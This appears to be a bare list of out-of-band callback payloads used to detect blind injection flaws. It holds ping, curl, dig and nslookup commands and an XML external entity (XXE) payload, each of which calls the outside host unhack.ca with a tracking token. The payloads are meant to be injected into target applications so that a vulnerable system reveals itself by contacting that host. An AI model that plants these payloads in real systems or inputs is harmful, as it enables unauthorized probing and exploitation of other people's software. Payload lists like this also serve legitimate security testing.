$ ping -c1 -p 0051dd456803a98354ef5ac2e5c82100 unhack.ca
$ curl http://unhack.ca/p/51dd456803a98354ef5ac2e5c821
$ dig 51dd456803a98354ef5ac2e5c821 @unhack.ca
$ dig 51dd456803a98354ef5ac2e5c821.ns.unhack.ca
C:\> nslookup 51dd456803a98354ef5ac2e5c821 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/51dd456803a98354ef5ac2e5c821">]> <foo>&xxe;</foo>